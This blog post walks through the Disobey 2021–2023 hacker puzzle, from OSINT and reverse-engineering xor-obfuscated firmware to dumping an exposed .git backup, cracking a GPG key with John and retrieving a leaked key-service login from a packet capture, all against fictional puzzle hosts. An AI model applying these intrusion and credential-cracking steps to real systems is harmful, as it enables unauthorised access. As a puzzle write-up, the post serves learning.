Blog 22.11.2022

Disobey 2021-2023 puzzle walkthrough

Gofore Crew

Good to see you here! We have no doubt this post has good information, but please keep in mind that it is over 2 years old.

This is my take on Disobey’s hacker puzzle for year 2023. The puzzle was originally released late 2020 for Disobey 2021, but since both the 2021 and the 2022 events were cancelled due to Covid, the puzzle is still valid for 2023 event.

Puzzle was maybe a bit more difficult compared to earlier puzzles, and if I’m not mistaken, there were only a couple of solves before late autumn 2022.

I have tried to document the whole process with enough detail for anyone to replicate the steps and solve the puzzle by themselves.

The puzzle was solved together with my friend and colleague Harri Hietaranta.

Part 1: The OSINT

The puzzle starts with the following text on disobey.fi website:

A facebook profile of Seppo Aapakka is found easily enough with google searches containing “Kouvosto Telecom”. A Linkedin profile is also found, confirming that Seppo is aligned with Kouvosto Telecom.

A public group called “Saboten” can be found with Facebook’s own search engine.

The group leads to saboten.kouvostotele.com, an Ftp server accepting anonymous login. Proceed to download all files from the server.

┌──(kali㉿kali)-[~]
└─$ ftp saboten.kouvostotele.com
Connected to saboten.kouvostotele.com.
220 KT Saboten implant firmware delivery service
Name (saboten.kouvostotele.com:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

...

┌──(kali㉿kali)-[~/saboten.kouvostotele.com]
└─$ find .
.
./prod
./prod/sb-ihv
./prod/sb-ihv/firmware
./prod/sb-ihv/firmware/CV-H103
./prod/sb-ihv/firmware/CV-H103/488
./prod/sb-ihv/firmware/CV-H103/488/bin
./prod/sb-ihv/firmware/CV-H103/488/bin/bin.7z
./prod/sb-ihv/firmware/CV-H103/2-02-6.2
./prod/sb-ihv/firmware/CV-H103/2-02-6.2/bin
./prod/sb-ihv/firmware/CV-H103/2-02-6.2/bin/bin.7z
./prod/sb-ihv/firmware/CV-H103/H17-20.04
./prod/sb-ihv/firmware/CV-H103/H17-20.04/bin
./prod/sb-ihv/firmware/CV-H103/H17-20.04/bin/bin.7z
./prod/sb-ihv/firmware/CV-H103/1-01-1.0
...

The server contains a bunch of files, namely Study1.odt, MRI.zip, and a bunch of zipped firmware files. Study1.odt and MRI.zip are rabbit holes and the firmware binaries are the way forward.

Let’s unzip the binaries and inspect them closer. Only one file seems to be actually runnable.

┌──(kali㉿kali)-[~/saboten.kouvostotele.com]
└─$ find . -type f -exec 7z e {} -aou ;

┌──(kali㉿kali)-[~/saboten.kouvostotele.com]
└─$ find . -type f -name "bin*" -exec file {} ;
...
./bin_37: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped
...

Inspecting the results and removing the false positives leaves us with /prod/sb-ihv/firmware/NX-H218/0-00-3.1/bin/bin (bin_37 in the example above).

Flag 1: bin (file)

Part 2: The Firmware

Let’s start by doing some basic analysis of the acquired firmware.

┌──(kali㉿kali)-[~]
└─$ file bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped

┌──(kali㉿kali)-[~]
└─$ strings -n20 bin
/libexec/ld-elf.so.1
about %d second(s) left out of the original %d
usage: sleep seconds
$FreeBSD: releng/12.0/lib/csu/common/ignore_init.c 339351 2018-10-13 23:52:55Z kib $
$FreeBSD: releng/12.0/bin/sleep/sleep.c 335395 2018-06-19 23:43:14Z oshogbo $
Linker: LLD 6.0.1 (FreeBSD 335540-1200005)
$FreeBSD: releng/12.0/lib/csu/amd64/reloc.c 339351 2018-10-13 23:52:55Z kib $
$FreeBSD: releng/12.0/lib/csu/amd64/crti.S 217105 2011-01-07 16:07:51Z kib $
$FreeBSD: releng/12.0/lib/csu/amd64/crt1.c 339351 2018-10-13 23:52:55Z kib $
$FreeBSD: releng/12.0/lib/csu/amd64/crtn.S 217105 2011-01-07 16:07:51Z kib $
$FreeBSD: releng/12.0/lib/csu/common/crtbrand.c 341666 2018-12-07 00:00:12Z gjb $
FreeBSD clang version 6.0.1 (tags/RELEASE_601/final 335540) (based on LLVM 6.0.1)
heap out of sync (BUG)
-TgRjKhpXgjCcBoNMHGurBQELfGCHDSaqgeYluZMwrCZFo1
PCI INIT FAILED, NOT ENOUGH MEMORY
PCI DEVICE FOUND, VENDOR ID:
.33$"5a"3$%$/5( -2aga %%3$22a13.7(%$%KL
.//$"5(./a5(,$%a.45ma3$538a, /4 --8oKLA
/7 -(%a"3$%$/5( -2aga %%3$22a&(7$/`KLAsRc
qPbdKcq'n}UFIWlB@~`S
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

┌──(kali㉿kali)-[~]
└─$

The file seems to be a FreeBSD executable, and it seems to contain a suspicious string “TgRjKhp…”. Could be a password or an access token. Let’s take note of that. We can also see strings related to PCI device initialization, which is somewhat consistent with the assumption of the file being firmware. There’s also a very long string consisting of only A’s.

One explanation for the massively long “AAA…” would be that the firmware utilizes a simple xor-encryption with key x41, which has turned a long chunk of empty bytes into A’s. The reason for this could be to simply obfuscate the binary and make the static analysis more difficult.

Let’s verify our theory by xorring the firmware with x41 and inspecting the file again with strings.

xor.py:

import sys

ifname = sys.argv[1]
ofname = sys.argv[2]

with open(ifname, "rb") as infile:
    with open(ofname, "wb") as oufile:
        in_arr = infile.read()
        out_arr = bytearray(len(in_arr))
        key = b'x41'

        for j in range(len(in_arr)):
            out_arr[j] = in_arr[j] ^ key[0]

        oufile.write(out_arr)
┌──(kali㉿kali)-[~]
└─$ strings -n20 bin_xorred
hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Correct credentials & address provided
Connection timed out, retry manually.
Invalid credentials & address given!

Great. A couple of new strings appear, which means that a part of the firmware is really xorred with x41. Most likely the firmware will xor a part of itself with x41 on runtime to produce code that’s very difficult to analyze statically.

After actually running it in FreeBSD, the file seems to be just a regular FreeBSD sleep. However, since the strings we found earlier are not part of sleep, we already know that there is more than meets the eye in the firmware. There could be a way to jump to a different part of the file with a correct input. Or maybe the ELF part is pure red herring, and the real target is appended after the runnable part of the file (the ELF format allows to append arbitrary data to file while keeping it perfectly runnable)

Let’s first check if there are any differences compared to the original sleep. Let’s download FreeBSD 12.0, grab /bin/sleep and compare it to our firmware.

┌──(kali㉿kali)-[~]
└─$ ls -la sleep
-rwxrwxrwx 1 root root 15384 Oct 22 07:57 sleep

┌──(kali㉿kali)-[~]
└─$ dd count=15384 if=bin of=bin_extracted bs=1
15384+0 records in
15384+0 records out
15384 bytes (15 kB, 15 KiB) copied, 0.0239218 s, 643 kB/s

┌──(kali㉿kali)-[~]
└─$ diff sleep bin_extracted

┌──(kali㉿kali)-[~]
└─$

Files are identical, which means, that the first 15384 bytes of bin are just the original sleep from FreeBSD. Let’s move on to other parts of the file.

# binwalk -E bin

Interestingly the file appears to consist of roughly three parts:

  • Part with varying entropy
  • Part with very high entropy
  • Part with very low entropy

We already concluded that the first part is FreeBSD sleep. The second part, or high entropy part is most likely either encrypted or randomized (garbage) data. The third part could be the insanely long string of A’s. This is interesting, and means, that whatever is hidden in the file, is most likely hidden either between parts 1 and 2 or between parts 2 and 3.

Let’s inspect the exact offsets of the entropy charts.

# binwalk -EN bin

The second part starts at 15360, which is right at the end of the sleep. There could still be some space for extra code. What is more interesting though, is the offset for the third part: 65536. The total size of our file is 131072 bytes, which is exactly 65536*2. So, if you slice the file in two parts at offset 65535, the size of the remaining part is also exactly 65536 bytes, which, FYI, happens to be the full memory range of a 16-bit processor.

We should still try to get a confirmation for this assumption before rushing forward. Let’s split the file in two at the offset 65536:

┌──(kali㉿kali)-[~]
└─$ dd count=15384 if=bin of=bin_extracted bs=1
15384+0 records in
15384+0 records out
15384 bytes (15 kB, 15 KiB) copied, 0.0291219 s, 528 kB/s

Then we fire up Ghidra and disassemble the latter part of the file in 16bit mode.

Let’s choose x86 and 16bit Real Mode, since it’s the most likely architecture. If we don’t get a hit, we’ll try other architectures.

Right away we can see decompiled functions and jumps with sensible offsets. This is usually a good sign indicating that we have decompiled the binary with the correct architecture.

Time for dynamic analysis – that is, running the firmware. Problem is that it’s not recognized as runnable. There are no executable headers, master boot records, or anything. Just code. It could also be that our offset is wrong.

┌──(kali㉿kali)-[~]
└─$ file bin_pt2
bin_pt2: data

What we know, however, is that we have an unknown binary that’s claiming to be firmware, with a bunch of sensible 16bit code. We can try running the binary in qemu with -bios option (used mostly for “bare metal” firmware). We’ll also use “-serial stdio” to redirect any serial output to our terminal.

┌──(kali㉿kali)-[~]
└─$ qemu-system-i386 -bios bin_pt2 -serial stdio
PCI DEVICE FOUND, VENDOR ID: 8086
PCI DEVICE FOUND, VENDOR ID: 8086
PCI DEVICE FOUND, VENDOR ID: 1234
5432
Invalid credentials & address given!

Great. We are both able to run the file and get sensible output to our terminal.

Now it’s time to start dynamic analysis and attach radare2 to qemu.
# qemu-system-i386 -bios bin_pt2 -serial stdio -s -S

# r2 -a x86 -b 16 -D gdb -d gdb://localhost:1234

We enter visual mode in radare2
# vv

Unfortunately, we do not get sensible disassembly but can still see the register values. We don’t get disassembly, because the base binary address is wrong. To be honest, I’m not that familiar with Radare2, and it would not be my tool of choice if we did not have to run the binary with Qemu. I tried, but could not move the base memory address while remotely debugging (if you know how to do it, please tell me).

Gladly, we do not need to see the disassembly in Radare2 at this point. We can use Radare2 to check register values and Ghidra to see the disassembled code.

We know that we are looking for a function that xors some part of the memory with x41, and most likely also a function that compares two strings (remember the “Invalid credentials & address given!” string).

After stepping a few instructions forward in Radare we find ourselves in position 0x000, which should also be the beginning of the file in Ghidra. We run into another problem because Ghidra has not disassembled the code either.

Fortunately, we can manually force Ghidra to disassemble code.

After which we get sensible asm.

This procedure will also need to be repeated each time we find ourselves in a place that has not yet been disassembled by Ghidra.

Onwards.

We start stepping through the code one instruction at a time by pressing ‘s’ in Radare2 while in visual mode (“vv”).

At first, the firmware is querying PCI-devices and printing some information about them, but after the third device has been initialized, something interesting is happening. It took a couple of runs to notice, but it’s there.

At 0x00CC the program loads a byte from an address pointed by EBX to AH register, and at 0x00D4 a byte from DS:SI to AL register.

Inspecting registers, we see that EBX points to 0xf031b, ESI to 0xa000, and EDI to 0x8c00.

Further inspecting those addresses, we notice that the address in EBX contains the weird string we saw earlier in strings output, while both addresses pointed by ESI and EDI seem empty.

# x/40x @ebx

We now have ‘T’ in AH, and a null byte in AL.

We go a few steps forward until we land on instruction at 0x500.

At 0x500 AL is xorred with AH (and the result stored in AL), after which both AL and AH have the letter ‘T’.

After a few jumps, we land at 0x00e7, where the instruction is to store a byte from AL to the address pointed by DS:DI. The EDI register is still at 0x8c00, so that’s where our ‘T’ will end up.

After this, we jump back to the beginning of the function where a byte is read from EBX and from DS:SI. Only this time both have been accumulated by 1 (the instructions at 0xc8 and 0xcc effectively increase the value of EBX by one, and DS:SI increases automatically after LODSB operation).

Also, note that the operation will loop 0x2c times (the value in ECX).

In short, we are reading 0x2c bytes from 0xf031b, xorring it with bytes from 0xa000, and storing the result to 0x8c00.

Let’s continue execution.

Soon after we land at 0x466, where the actual xorring with x41 is happening. A byte is loaded from SI to AL, then xorred with x41, and the result then stored in DI. This is then looped for CX times. Register values are: SI = 0x495, DI 0x2000, and CX = 0x200. We are reading 0x200 bytes starting from 0x495, xorring them with x41, and storing the resulting bytes in memory to position 0x2000. After the loop is finished a jump to 0x2000 is conducted. That’s the place where deobfuscated code will be, and most likely also the strings that were seen earlier (“Correct credentials…” and “Incorrect credentials”).

Let’s jump forward to 0x2000 with “dcu 0x2000”.

# dcu 0x2000

At 0x200d the 0x2c is once again moved to CX register. It most likely means that the string that was copied earlier is now going to be loaded into memory again.

Immediately after the value 0x20af is loaded into SI and 0x8c00 into DI.

Then a byte is loaded to AL from SI and then to AH from DI. Then at 0x38e0 bytes at AL and AH are compared, and if they are not equal, a jump to 0x2025 is conducted. Then DI is incremented (since MOV instruction does not automatically increment the register), and the whole procedure looped 0x2c times.

The EDI (0x8c00) still contains the “mystery string”, and ESI (0x20af) contains rubbish.

A sophisticated guess can be taken at this point, that if these two strings match, then the puzzle is completed.

A few steps back, the String1 (“x54x67x52x6a…”) was xorred with an empty string from 0xa000, before being stored to 0x8c00. It can be assumed that whatever is the correct key, should have been in 0xa000, and when xorred with String1 should result in String2 (“x32x13x22x50”). Therefore the key can be obtained by xorring String1 with String2.

Flag: ftp://kt:bl4de_runn3r@files.kouvostotele.com

Part 3: The Üxin

There is a pdf-file and a hidden folder in files.kouvostotele.com.

┌──(kali㉿kali)-[~]
└─$ ftp kt@files.kouvostotele.com
Connected to files.kouvostotele.com.
220 Welcome to KT files service.
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||10872|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Oct 14  2020 .
drwxr-xr-x    3 ftp      ftp          4096 Oct 14  2020 ..
drwxr-xr-x    2 ftp      ftp          4096 Oct 14  2020 .h0ll9w00d
-rw-r--r--    1 ftp      ftp        224531 Oct 09  2020 PO31337-iPhone-forensics.pdf
226 Directory send OK.
ftp>

The hidden folder “.h0ll9w00d” contains only rabbit holes, but the file “PO31337-iPhone-forensics.pdf” contains a new domain, “forensics.uxin.fi”.

The domain leads to a homepage(?) of digital forensics company Üxin Forensics. There is a blog post stating that the “new secure-files platform is now public”.

The link leads to https://secure-files.uxin.fi, which unfortunately leads to 404. The reason for this is that the A-record for secure-files.uxin.fi is pointing to 127.0.0.1 (which is localhost).

┌──(kali㉿kali)-[~]
└─$ dig secure-files.uxin.fi         

; <<>> DiG 9.18.7-1-Debian <<>> secure-files.uxin.fi
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37921
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;secure-files.uxin.fi.          IN      A

;; ANSWER SECTION:
secure-files.uxin.fi.   3565    IN      A       127.0.0.1

;; Query time: 20 msec
;; SERVER: 10.71.0.10#53(10.71.0.10) (UDP)
;; WHEN: Fri Nov 18 06:04:32 EST 2022
;; MSG SIZE  rcvd: 65

Let’s add secure-files.uxin.fi to host’s file and try again.

┌──(kali㉿kali)-[~]
┌──(kali㉿kali)-[~]
└─$ sudo cat /etc/hosts      
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

94.237.112.179  secure-files.uxin.fi

After this we get a basic auth prompt from https://secure-files.uxin.fi and an “under construction” image from http://secure-files.uxin.fi

Quick enumeration shows us that there is a directory “backup” on https server.

┌──(kali㉿kali)-[~]
└─$ wfuzz -w big.txt --hc=401 https://secure-files.uxin.fi/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://secure-files.uxin.fi/FUZZ
Total requests: 20486

=====================================================================
ID           Response   Lines    Word       Chars       Payload                    
=====================================================================

000003051:   404        7 L      11 W       153 Ch      "backup2"                  
000003050:   404        7 L      11 W       153 Ch      "backup-db"                
000003049:   404        7 L      11 W       153 Ch      "backup-56bf2"             
000003048:   301        7 L      11 W       169 Ch      "backup"                   
000003052:   404        7 L      11 W       153 Ch      "backup_db"                
000003054:   404        7 L      11 W       153 Ch      "backup_site"              
000003057:   404        7 L      11 W       153 Ch      "backups"                  
000003056:   404        7 L      11 W       153 Ch      "backupfiles"              
000003053:   404        7 L      11 W       153 Ch      "backup_migrate"           
000003055:   404        7 L      11 W       153 Ch      "backupdb"                 

Total time: 52.62700
Processed Requests: 20486
Filtered Requests: 20476
Requests/sec.: 389.2678

Enumerating further leads us to “/backup/users/timi/.git/”. It seems that there’s a backup of a git repository, but of course, the directory listing is disabled. Why can’t we have nice things? Fortunately, we can manually reconstruct the repository locally.

We start by getting the HEAD file, which contains the location of the repository head, which in turn contains the corresponding object id. We can then download the object (in git, the first two characters are the directory name, and the rest is the file name).

┌──(kali㉿kali)-[~]
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/HEAD
ref: refs/heads/master
                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/refs/heads/master
6c1ddbb58373e2f045a671cff7203afab4e7f0f5
                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/6c/1ddbb58373e2f045a671cff7203afab4e7f0f5
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: " to save to a file.                       

The downloaded object can then be transferred to an empty local repository, after which we can use git cat-file to read its contents. Alternatively, you can use one of the many tools available online.

┌──(kali㉿kali)-[~/git/reconstructed]
└─$ git cat-file -p 6c1ddbb58373e2f045a671cff7203afab4e7f0f5
tree 045ecddbe36501fc6046ca4f44d31a7763ccbe97
parent 84855f529022de833495efcc429130934caf3f35
author Timi Miespera <timi@uxin.fi> 1602500886 +0000
committer Timi Miespera <timi@uxin.fi> 1602500886 +0000

Added iPhone image acquisition photos.

The object in question seems to be a commit. The file also contains references to other objects. We can then proceed to download new objects.

┌──(kali㉿kali)-[~/git/reconstructed]
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/04/5ecddbe36501fc6046ca4f44d31a7763ccbe97 --output 045ecddbe36501fc6046ca4f44d31a7763ccbe97
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   396  100   396    0     0  10030      0 --:--:-- --:--:-- --:--:-- 10153

We download the “tree” or object “045ecddbe36501fc6046ca4f44d31a7763ccbe97” and get a nice file listing.

┌──(kali㉿kali)-[~/git/reconstructed]
└─$ git cat-file -p 045ecddbe36501fc6046ca4f44d31a7763ccbe97
120000 blob dc1dc0cde0f7dff7b7f7c9347fff75936d705cb8    .bash_history
040000 tree 7abed83394f7a4f5eb3e138a2bb1d3c3adc0a6f3    .bcksp
100644 blob 9114d92d35555c1933d0e9006f80fba86af67186    .gitconfig
100644 blob 9b1166696b36118bfa03c464abfa72e6e236d26d    .gitignore
160000 commit 1744277a68101916d51cda2c67951f5981f1f216  .oh-my-zsh
040000 tree f2aa6551ce5dd8fe1e54c40c078eda402650f9e6    .password-store
100644 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391    .shell.pre-oh-my-zsh
100644 blob 3a378f3cd132b8991e06161b02994e0db251d48b    .wget-hsts
120000 blob dc1dc0cde0f7dff7b7f7c9347fff75936d705cb8    .zsh_history
100644 blob d743f1a95ff87c9f516775d7d44ee707683114f1    .zshrc
040000 tree a8bb827fd785d5eb7839d841f43b97b27ec2d07f    Documents
040000 tree 92d46b477306804ad940cb291233be70483ba12e    Pictures

With this procedure we can iterate through the whole repository, downloading individual files (blobs), and directory listings (trees). The contents of the blobs can also be read by first downloading the object file and then manually decompressing it with for example python.
For example, the contents of “.gitconfig” can be read as follows:

┌──(kali㉿kali)-[~/git/reconstructed]
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/91/14d92d35555c1933d0e9006f80fba86af67186 --output .gitconfig
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   118  100   118    0     0   2239      0 --:--:-- --:--:-- --:--:--  2269


┌──(kali㉿kali)-[~/git]
└─$ python
Python 3.10.7 (main, Oct  1 2022, 04:31:04) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib
>>> compressed_contents = open('.gitconfig', 'rb').read()
>>> print(zlib.decompress(compressed_contents))
b'blob 106x00[user]ntname = Timi Miesperantemail = timi@uxin.fintsigningkey = B21E70FBC5DC1852CCCD6F036C5E8E6DC4E8FAC3n'
>>> 

By iterating through the commits and trees we finally stumble upon a file “public.key”, which is an OpenPGP Secret Key. We also have two encrypted files “whois.gpg” and “timi.gpg”. The key is password protected but can easily be cracked with John.

┌──(kali㉿kali)-[~/git/loot]
└─$ file public.key 
public.key: OpenPGP Secret Key Version 4, Created Sun Oct 11 12:04:52 2020, RSA (Encrypt or Sign, 1024 bits); User ID; Signature; OpenPGP Certificate
                                                                                            
┌──(kali㉿kali)-[~/git/loot]
└─$ gpg2john public.key 

File public.key
Timi Miespera:$gpg$*1*348*1024*bea30a89371d107f2f6b208efb95f709284f127770351253a7911729c50bf60016c9b751adb7a48c39901895aaafda5df503781eaf71c8da0d8448dcf6a5f1734dcc2dd57eea9c24f9b72eec44c5931469151b1f0670f7f959b69bd52e1cd9c0ad2a1240ad85ad246b20e573a0a0ce23882f5fac80a46ed5522e19039ef75e46e1af432a0625b601dc9ef0978be4f79e3e86038a32498929e9b0a7f0abafa2970a91899ac092abdb2788e6b55c814bb3894e71fe3408a0db525a7db4db250e0c8250800d09e7da196b345086cfd5bba719730279c411c924c0ae74630cbf1eada91bbfa2832b9ff13bd7b87ce78eca5fd57379eb3cd674623ef13133929914dbdcbf4e9114c1cc47b4a0b83b813b752d96095b1d040792ee7f503868a3794a1182680529ba204499c024fe93b20623fdf21f1e809ecb62f51a1a76685845e7f0872f162203805ea7a6f1e570a6a8e6df831ad5eb256ca31a3084db25*3*254*2*7*16*832c31aef32810163af238f756dd2a4d*65011712*34990efae81eaac3:::Timi Miespera ::public.key
                                                                                            
┌──(kali㉿kali)-[~/git/loot]
└─$ gpg2john public.key > hash.john

File public.key
                                                                                            
┌──(kali㉿kali)-[~/git/loot]
└─$ john -w /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-75.txt hash.john
Warning: only loading hashes of type "tripcode", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "pix-md5"
Use the "--format=pix-md5" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "gpg"
Use the "--format=gpg" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 595 password hashes with no different salts (tripcode [DES 128/128 SSE2])
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2022-11-18 08:03) 0g/s 88550p/s 88550c/s 52687KC/s 123456..sss
Session completed. 
                                                                                            
┌──(kali㉿kali)-[~/git/loot]
└─$ john --show hash.john
Timi Miespera:iloveyou!:::Timi Miespera ::public.key

1 password hash cracked, 0 left                                                                                                            

After which the key can be imported and two encrypted files can be decrypted:

┌──(kali㉿kali)-[~/git/loot]
└─$ gpg --output timi --decrypt timi.gpg
gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 08:04:52 AM EDT
gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11
      "Timi Miespera "
                                                                                                              
┌──(kali㉿kali)-[~/git/loot]
└─$ cat timi              
{/w8P;;}aED,{8s$
                                                                                                              
┌──(kali㉿kali)-[~/git/loot]
└─$ gpg --output whois --decrypt whois.gpg
gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 08:04:52 AM EDT
gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11
      "Timi Miespera "
                                                                                                              
┌──(kali㉿kali)-[~/git/loot]
└─$ cat whois
Keep up the good work!  

The decrypted contents of timi.gpg can now be used as a basic authentication password for https://secure-files.uxin.fi.

After successful login, we land at https://secure-files.uxin.fi and are greeted with a picture of an old UDP joke.

Quick enumeration reveals another UDP joke, which starts to strongly hint towards using UDP to get forward.

For those who did not know, the HTTP/3 is based on UDP and QUIC. Quick (intended) test reveals that the server is responding to HTTP/3 requests.

The problem here was finding a working HTTP/3 client. The standard is still (or was when the puzzle was created) under construction, and many of the available clients did not work for this server. I used a solution built inside a docker container.

Now requesting the server again with the HTTP/3 client:

┌──(kali㉿kali)-[~]
└─$ sudo docker run --rm ymuski/curl-http3 curl --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 383 0 383 0 0 772 0 --:--:-- --:--:-- --:--:-- 770
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="KT_Forensics_iPhone_image.7z">KT_Forensics_iPhone_image.7z</a> 12-Oct-2020 12:31 3167184323
<a href="readme.txt">readme.txt</a> 12-Oct-2020 21:01 150
</pre><hr></body>
</html>

It seems we have two files. An iPhone image and a readme.txt.

Reading the readme.txt:

┌──(kali㉿kali)-[~]
└─$ sudo docker run --rm ymuski/curl-http3 curl --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/readme.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 150 100 150 0 0 1578 0 --:--:-- --:--:-- --:--:-- 1578
Hi Timi,

Please investigate this iPhone as soon as possible! There might be some sensitive information for KT.

Best regards,
Anttu Kuura
Your Boss.

Let’s download the iPhone image and start investigating.

Flag: …not so fast. Unfortunately downloading the file is not as straightforward as one would think. Whether intentional or not, the server is resetting the connection every few seconds. We get a few megabytes of the file at a time – at most. And since the file size is a couple of gigabytes we need to come up with another solution.

We write a quick and dirty python script to download the file in chunks and then reassemble the file once all chunks are downloaded:

download.py:

┌──(kali㉿kali)-[~]
└─$ cat download.py 
#!/usr/bin/python
import os
import sys

# configs
desturl = "https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z"
outputfile = "KT_Forensics_iPhone_image.7z"

# size of a chunk
psize = 512000

# total size of the file
fsize = 3167184323

# calculations...
total_parts = (fsize // psize) + 1
last_part_size = fsize % psize

# print basic info
print(f"[+] Total parts:t{total_parts - 1}")
print(f"[+] Part size:tt{psize}")
print(f"[+] Total size:tt{psize * (total_parts - 1) + last_part_size}")

# loop until everything is downloaded
while i < total_parts:

    pbeg = i*psize

    # calculate start & end offsets
    if i < total_parts-1:
        pend = pbeg + psize - 1
    else:
        pend = pbeg + last_part_size

    print(f"Downloading part {i+1}/{total_parts + 1} ({pbeg}..{pend})")

    # download chunk
    cmd = f'sudo docker run -v /home/kali/uxin:/tmp --rm ymuski/curl-http3 curl -sS --max-time 5 --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" --range {pbeg}-{pend} {desturl} --output /tmp/{outputfile}_part{i}'

    retval = os.system(cmd)

    # check for errors and retry if needed
    if retval != 0:
        print(f"[-] Error detected, retrying part {i}...")
        continue

    # if all is well, proceed to next chunk
    i=i+1

print("[+] Download complete!")

print("[+] Reonstructing file...")

# assemble the file
for i in range(0, total_parts):
    os.system(f"cat {outputfile}_part{i} >> {outputfile}")

Now we can finally download the file.

Flag: KT_Forensics_iPhone_image.7z (file)

Part 4: The iPhone

Unzip the image and unpack the dar file inside.

┌──(kali㉿kali)-[~]
└─$ 7z t KT_Forensics_iPhone_image.7z

┌──(kali㉿kali)-[~]
└─$ cd UFED Apple iPhone 6s (A1688) 2020_10_12 (001)

┌──(kali㉿kali)-[~]
└─$ dar -x AdvancedLogical Full File System 01/FullFileSystem.1.dar

Searching through the image a password protected zip-file is found:

┌──(root㉿kali)-[/mnt/…/Library/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox]
└─# ls Attachments/25/2
lb.zip

And then an email message containing the encryption key:

┌──(root㉿kali)-[/mnt/…/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox/Messages]
└─# cat 5944AEEC-9205-42B5-A652-B5EF4D9553C1.1.2.emlxpart
<div dir=3D"ltr"><br><div>Hi Seppo!</div><div><br></div><div>I was finally =
able to deploy the production site beacon to submit metrics to our servers.=
As you might be aware, the early 90's server hardware we're using =
is struggling with keeping up with the load. I was able to come up with a g=
enius=C2=A0client side load balancing solution=C2=A0to mitigate this issue.=
It's probably one of the best solutions I have come up with this far!<=
/div><div><br></div><div>As you know, the data we're sending out is hig=
hly sensitive because of the production plant operations, so in the example=
I have attached to this email just includes testing data. I believe the so=
lution is bullet proof as we really don't want the operations to be exp=
osed to the public. However I'd like you to verify=C2=A0it (see the att=
achment).</div><div><br></div><div>Password for the archive is hunteR2</div=
><div><br></div><div><br></div><div>--</div><div>Mauno Rajam=C3=A4ki</div><=
/div>

We decrypt & unzip, and find a packet capture file.

Flag: submission_example.pcap (file)

Part 5: The DNS

Right away an interesting TCP-stream is found from the pcap:

__ __ __
/ //_/__ __ ___ _____ ___ / /____
/ ,< / _ / // / |/ / _ (_-</ __/ _ 
/_/|_|___/_,_/|___/___/___/__/___/
/ /____ / /__ _______ __ _
/ __/ -_) / -_) __/ _ / ' 
__/__/_/__/__/___/_/_/_/

Key distribution service
(c) Kouvosto Telecom 1991

LOGIN:
mauraja
PASSWORD:
Summer2020!

Welcome Mauno Rajam{ki

Commands:
CREATE new key
LIST existing keys
DELETE key

CMD>
LIST

NAME: Kupdatekey.+165+07388
FORMAT: v1.3
SECRET: GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A==
